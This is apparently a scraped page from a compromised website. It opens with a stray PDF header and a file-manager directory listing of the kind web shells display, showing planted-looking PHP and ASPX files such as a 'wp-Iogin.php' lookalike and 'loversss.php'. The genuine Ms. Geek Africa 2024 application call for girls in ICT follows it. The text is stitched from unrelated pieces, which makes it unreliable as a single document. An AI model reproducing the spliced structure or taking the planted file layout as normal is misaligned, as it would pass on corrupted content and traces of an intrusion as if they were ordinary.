%PDF-1.4 %âãÏÓ #tlhkpln#
Name Size Modified Perms Actions
.render-cache --- August 22 2026 13:27:42. 0755
.well-known --- October 08 2019 01:39:03. 0755
FSH-2hdn9 --- August 21 2026 21:27:41. 0755
FSH-i42gd --- August 21 2026 21:26:59. 0755
IMG --- August 21 2026 18:10:54. 0755
assets --- January 21 2018 16:55:38. 0755
cgi-bin --- January 21 2018 13:54:14. 0755
config --- April 25 2025 09:18:05. 0755
css --- January 21 2018 21:28:19. 0755
ecrire --- April 25 2025 09:18:05. 0755
fichiers_obsoletes_20240709_134649 --- July 09 2024 11:46:50. 0755
fichiers_obsoletes_20250425_111855 --- April 25 2025 09:18:55. 0755
font-awesome --- January 21 2018 16:55:38. 0755
images --- January 21 2018 20:04:18. 0755
js --- January 21 2018 18:09:47. 0755
lib --- July 09 2024 11:57:33. 0777
local --- August 22 2026 13:28:44. 0755
plugins --- January 21 2018 18:49:41. 0755
plugins-dist --- July 09 2024 11:46:50. 0755
prive --- April 25 2025 09:18:47. 0755
sass --- January 21 2018 12:37:52. 0755
squelettes-dist --- April 25 2025 09:18:49. 0755
tmp --- August 22 2026 18:50:55. 0755
vender --- January 21 2018 12:37:52. 0755
vendor --- April 25 2025 09:18:52. 0755
.dccdba8219.meta 64 bytes August 22 2026 05:49:04. 0644
.gitattributes 58 bytes April 25 2025 09:18:05. 0644
.gitignore 218 bytes April 25 2025 09:18:05. 0644
.htaccess 5.63 KB August 21 2026 21:27:21. 0755
.nox-fw-b320045ad44f.php 77.17 KB August 22 2026 05:49:04. 0600
.user.ini 74 bytes August 22 2026 13:27:42. 0644
CHANGELOG.md 801 bytes April 25 2025 09:18:05. 0644
COPYING.txt 34.32 KB January 21 2018 18:30:37. 0755
Component.php 168.26 KB August 21 2026 21:25:55. 0644
F35-lnkrq.aspx 6.73 KB August 21 2026 21:27:33. 0644
INSTALL.txt 421 bytes January 21 2018 18:30:26. 0755
LICENSE 34.32 KB April 25 2025 09:18:05. 0644
Nx_.php 397 bytes August 22 2026 17:23:06. 0666
README.md 934 bytes April 25 2025 09:18:05. 0644
SECURITY.md 178 bytes April 25 2025 09:18:05. 0644
article.html 2.89 KB March 05 2018 08:55:18. 0644
class-cache-helper.php 1.43 KB August 22 2026 13:27:42. 0644
composer.json 1.38 KB April 25 2025 09:18:05. 0644
composer.lock 45.46 KB April 25 2025 09:18:05. 0644
header.html 1.47 KB April 04 2018 05:36:03. 0644
htaccess.txt 4.27 KB April 25 2025 09:18:15. 0644
img_cache.php 700 bytes August 22 2026 17:23:01. 0666
index.php 1.50 KB April 25 2025 09:18:15. 0755
index.php.nox-bak 42 bytes April 25 2025 09:18:15. 0644
local.php 11.55 KB August 22 2026 13:28:25. 0644
loversss.php 104.36 KB August 22 2026 05:49:04. 0644
php.ini 105 bytes August 21 2026 21:27:21. 0644
phpcs.xml.dist 385 bytes April 25 2025 09:18:15. 0644
plugins-dist.json 3.36 KB April 25 2025 09:18:15. 0644
sommaire.html 5.22 KB February 12 2020 07:24:44. 0644
spip.php 621 bytes April 25 2025 09:18:49. 0755
spip.png 1.18 KB April 25 2025 09:18:49. 0755
spip.svg 1.63 KB April 25 2025 09:18:49. 0644
spip_loader.php 258.96 KB April 25 2025 09:17:35. 0644
spip_loader_list.json 350 bytes April 25 2025 09:17:18. 0666
svn.revision 301 bytes January 21 2018 18:30:37. 0755
web.zip 52.30 KB January 21 2018 20:47:10. 0644
wp-Iogin.php 73.28 KB August 21 2026 21:25:55. 0644
xd 0 bytes August 21 2026 21:27:52. 0644
Ms. Geek Africa 2024 - Girls in ICT Rwanda - Rwanda Women in Technology

Ms. Geek Africa 2024

MS. GEEK AFRICA 2024 APPLICATION FORM

PROBLEM STATEMENT

This year’s Ms. Geek Africa challenge embraces the theme "Girls in ICT Driving Climate Resilience through Emerging Technologies in Africa." This initiative aims to utilize advanced technology to foster a sustainable and environmentally friendly economy while empowering women across the continent.
In today’s world grappling with the persistent challenges of climate change, technological innovations play a pivotal role in addressing these issues. Cutting-edge technologies not only enhance our comprehension of climate change but also enable us to develop scientifically grounded solutions. Women and girls in Africa, particularly those in rural areas, bear a disproportionate burden due to climate change. Hence, Girls in ICT must focus on empowering African women to leverage both existing and emerging technologies to combat climate change effectively.

Prospective applicants are encouraged to identify opportunities across various sectors and propose solutions that enable African women to harness technology for creating a sustainable and greener economy, thereby addressing critical environmental challenges and enhancing their involvement in technology and innovation.

REQUIRED INFORMATION

Names               
Date of Birth  
Nationality, Country of Origin  
Name of School & Grade/Class  
Phone number (must be valid)  
Email (must be valid)  

SUBMISSION FORMAT

SOLUTION

  1. Achieving a Greener Digital Economy in Africa using STEM: (50 words)
  2. Key Challenges Hindering the Greener Digital Economy in Africa: (50 words)
  3. Product/Service Description: Describe your proposed product or service and how it addresses the identified challenge. (200 words)
  4. Target Customers and Partners: Identify potential users and partners and explain how your product/service delivers value to them. (100 words)
  5. Additional Information: Any further details you wish to add. (50 words)

SELECTION CRITERIA

  1. Your application must describe the problem you want to solve, how your solution will solve it, a conceptual design, what technologies you are using/should be used to develop it, key stakeholders, and how content will be generated, and shared.
  2. Your solution must be original or an innovative improvement to existing technologies.
  3. You must consider that most Africans have limited access to the internet and smart devices. 
  4. A graphical presentation must accompany the concept note, demonstrating how the solution will work and an example of the user interface.

CHALLENGE FOCUS AREAS

The 2024 challenge will concentrate on the following areas:

  • Climate Resilience Using Emerging Technologies
  • Sustainable Economy

SUBMISSIONS MUST BE IN THE FORMAT BELOW

  • Submit solution to msgeekafrica@smartafrica.org
  • All applications must be submitted in English or French
  • Name the submitted application in this format: YOUR NAME-COUNTRY
  • The deadline for submission is August 3rd. There shall be NO EXCEPTIONS.

If you have questions, please contact us on X (Twitter) @GirlsInICTRW or the Facebook Page “Girls In ICT Rwanda”.
More information at www.girlsinict.rw ; and www.smartafrica.org